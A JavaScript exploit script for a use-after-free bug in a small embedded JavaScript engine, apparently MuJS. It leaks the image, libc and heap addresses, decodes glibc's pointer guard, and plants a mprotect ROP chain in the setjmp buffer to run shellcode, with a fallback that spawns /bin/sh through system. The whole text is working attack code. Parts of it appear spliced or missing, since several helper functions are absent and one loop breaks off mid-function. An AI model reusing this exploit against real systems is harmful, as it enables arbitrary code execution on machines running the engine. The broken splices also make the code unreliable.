var bail = false; var debug = true; //print logs for debugging function log(str) { if (debug === true) print(str + "\n"); } //convert hex string to binary representation function hex2bin(str) { bin_u = parseInt(str.substring(0, 8), 16).toString(2); bin_l = parseInt(str.substring(8, 16), 16).toString(2); return ljust(bin_u, 16) + ljust(bin_l, 16); } //helper function for getting addresses function add_off(base, off) { return ljust((parseInt(base, 16) + off).toString(16), 8); } //rotate right function ror(val, shift, sz) { var bits = hex2bin(val); bits = bits.substring(sz-shift, sz) + bits.substring(0, sz-shift); var bits_u = ljust(parseInt(bits.substring(0, sz/2), 2).toString(16), 4); var bits_l = ljust(parseInt(bits.substring(sz/2, sz), 2).toString(16), 4); return bits_u + bits_l; } //rotate left function rol(val, shift, sz) { var bits = hex2bin(val); bits = bits.substring(shift, sz) + bits.substring(0, shift); var bits_u = ljust(parseInt(bits.substring(0, sz/2), 2).toString(16), 4); var bits_l = ljust(parseInt(bits.substring(sz/2, sz), 2).toString(16), 4); return bits_u + bits_l; } //glibc ptr demangling function ptr_demangle(ptr, key) { var rot = ror(ptr, 0x11, 64); var rot_u = parseInt(rot.substring(0, 8), 16); var rot_l = parseInt(rot.substring(8, 16), 16); var key_u = parseInt(key.substring(0, 8), 16); var key_l = parseInt(key.substring(8, 16), 16); var res_u = (rot_u ^ key_u); var res_l = (rot_l ^ key_l); if (res_u < 0) { res_u = 0xffffffff + res_u + 1; } if (res_l < 0) { res_l = 0xffffffff + res_l + 1; } res_u = ljust(res_u.toString(16), 4); res_l = ljust(res_l.toString(16), 4); return res_u + res_l; } //glibc ptr mangling function ptr_mangle(ptr, key) { var key_u = parseInt(key.substring(0, 8), 16); var key_l = parseInt(key.substring(8, 16), 16); var ptr_u = parseInt(ptr.substring(0, 8), 16); var ptr_l = parseInt(ptr.substring(8, 16), 16); var xored_u = (ptr_u ^ key_u); var xored_l = (ptr_l ^ key_l); if (xored_u < 0) { xored_u = 0xffffffff + xored_u + 1; } if (xored_l < 0) { xored_l = 0xffffffff + xored_l + 1; } xored_u = ljust(xored_u.toString(16), 4); xored_l = ljust(xored_l.toString(16), 4); var xored = xored_u + xored_l; return rol(xored, 0x11, 64); } //convert hex sequence to its double representation function hex2double(str) { var frac_0 = "1"; var sign = parseInt(parseInt(str[0], 16).toString(2)[0], 2); var exp = parseInt(str.substring(0, 3), 16); if (exp == 0) { exp = 1; frac_0 = "0"; } var bias = 1023; var fracT = parseInt(frac_0 + str.substring(3, 8), 16) * Math.pow(16, 8); var fracB = parseInt(str.substring(8, 16), 16); var frac = fracT + fracB; var res = Math.pow(2, exp-bias) * (frac * Math.pow(2, -52)); return (sign) ? res * -1 : res; } //pack strings function p64(str) { var encoded = ""; for (var i=0; i<0x10; i+=2) { var curr = str.substring(i, i+2); if (curr === "00") { continue; } else if (parseInt(curr, 16) < 0x7f && parseInt(curr, 16) > 0x1f) { encoded = String.fromCharCode(parseInt(curr, 16)) + encoded; } else { encoded = "%" + curr + encoded; } } return decodeURI(encoded); } //unpack strings function u64(str) { var encoded = encodeURI(str); var decoded = ""; for (var i=0; i=0; i--) { victim.headers[off+3] = hex2double(add_off(addr, i*8-8)); fake_obj[0] = "aaaaaaaa" + p64(vals[i]); } return; } //js_Object headers var js_obj = 1.0; var js_arr = 1.0000000000000002; var js_fun = 1.0000000000000004; var js_script = 1.0000000000000007; var js_cfun = 1.0000000000000009; var js_err = 1.000000000000001; var js_bool = 1.0000000000000013; var js_num = 1.0000000000000016; var js_str = 1.0000000000000018; var js_regex = 1.000000000000002; var js_date = 1.0000000000000022; var js_math = 1.0000000000000024; var js_json = 1.0000000000000027; var js_args = 1.0000000000000029; var js_iter = 1.000000000000003; var js_user = 1.0000000000000033; //variables var padding = new Array(); var limit = 0x50; var fill_buf = ""; var uaf_setter = {set: get_uaf}; var fake_arr_field = new String(); fake_arr_field += "000000000"; var shellcode = "Shellcode goes here ;)"; //setup Object.defineProperty(Object.prototype, "get", uaf_setter); while (true) { padding.push(reset_heap(0x2000)); for (var i=0; i<0x7; i++) { delete padding[padding.length-1][i]; } var victim = { get temp() { return; }, headers: [js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_obj, js_obj, js_obj], set temp(val) { return; } } //trigger vuln var res = Object.getOwnPropertyDescriptor(victim, "temp"); var fake_obj = res.set; var type = typeof(fake_obj); if (type === "object") { log("Offset too small, retrying."); continue; } else if (type === "function") { //find the offset var off = find_offset(fake_obj, victim); if (off === 0) { log("Setter function is base aligned, retrying."); continue; } log("Offset found: " + off); //leak main image base victim.headers[off] = js_arr; victim.headers[off+2] = fake_arr_field; victim.headers[off+3] = print; var print_addr = u64(fake_obj[2]); var img_base = add_off(print_addr, -0x486b0); var got_start = add_off(img_base, 0x54000); log("Address of image base: " + img_base); //leak libc base victim.headers[off+3] = hex2double(got_start); var fopen_addr = u64(fake_obj[9]); var libc_base = add_off(fopen_addr, -0x7f6b0); var mprotect_addr = add_off(libc_base, 0x11ec50); var system_addr = add_off(libc_base, 0x50d60); log("Address of libc base: " + libc_base); //leak heap objects victim.headers[off+3] = print; var print_obj_addr = u64(fake_obj[0x11]); var js_state_obj_addr = add_off(print_obj_addr, -0x1fdf0); log("Address of js_State object: " + js_state_obj_addr); if (bail) { log("Popping a shell."); victim.headers[off+3] = hex2double(got_start); fake_obj[10] = hex2double(system_addr); var rce = load("/bin/sh"); quit(); } //decode ptr guard value var js_dofile_off = add_off(img_base, 0x37b5e); var try_buf_base = add_off(js_state_obj_addr, 0x1190); var try_buf_off = add_off(try_buf_base, 8); victim.headers[off+3] = hex2double(try_buf_off); var try_rip_man = u64(fake_obj[3]); if (try_rip_man.length < 7) { log("Cannot decode ptr guard value."); bail = true; continue; } var ptr_guard = ptr_demangle(try_rip_man, js_dofile_off); log("Mangled setjmp rip: " + try_rip_man); log("Decoded ptr_guard value: " + ptr_guard); //seed shellcode var exe = new String(decodeURI(shellcode)); victim.headers[off+3] = exe; var shellcode_addr = u64(fake_obj[2]); var shellcode_aligned = shellcode_addr.substring(0, 0x10-3) + "000"; log("Address of shellcode: " + shellcode_addr); //gadgets: ret = add_off(img_base, 0x401a); poprdi = add_off(img_base, 0x4a19); poprsi = add_off(img_base, 0x74cb); poprdx = add_off(img_base, 0x3d1b2); add_sil_sil = add_off(img_base, 0xb2ce); inc_rbx_off = add_off(img_base, 0x38fa3); //seed ropchain to call mprotect var ropchain_addr = add_off(try_buf_base, 0x300); var rop = new Array(); rop.push(poprdx); rop.push(ljust("07", 8)); rop.push(poprsi); rop.push(ljust("1080", 8)); rop.push(add_sil_sil); rop.push(inc_rbx_off); rop.push(poprdi); rop.push(add_off(shellcode_aligned, -1)); rop.push(mprotect_addr); rop.push(shellcode_addr); seed_vals(ropchain_addr, rop); log("Address of seeded ropchain: " + ropchain_addr); //modify try buffer var rbx = add_off(ropchain_addr, 0x77f0fd3b + 0x38); var rsp = ptr_mangle(ropchain_addr, ptr_guard); var rip = ptr_mangle(ret, ptr_guard); log("Mangled sp: " + rsp); log("Mangled ip: " + rip); victim.headers[off+3] = hex2double(add_off(try_buf_base, 0)); fake_obj[0] = p64(rbx); victim.headers[off+3] = hex2double(add_off(try_buf_base, 7)); fake_obj[0] = 0; victim.headers[off+3] = hex2double(add_off(try_buf_base, 0x30)); fake_obj[0] = p64(rsp); victim.headers[off+3] = hex2double(add_off(try_buf_base, 0x38)); fake_obj[0] = p64(rip); log("Modified setjmp buffer: " + try_buf_base); //trigger exception && exec shellcode victim.headers[off+3] = hex2double(add_off(js_state_obj_addr, 0x1180)); fake_obj[0] = decodeURI("aaaaaaaa%01"); log("Standby for RCE :)"); throw "pwn :]"; } else { //heap state is rly fucked up reset_heap(0x5000); continue; } if (padding.length == limit) break; } return 0; } function pwn() { var array = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5]; array.sort(fakesort); //pause the garbage collector } pwn();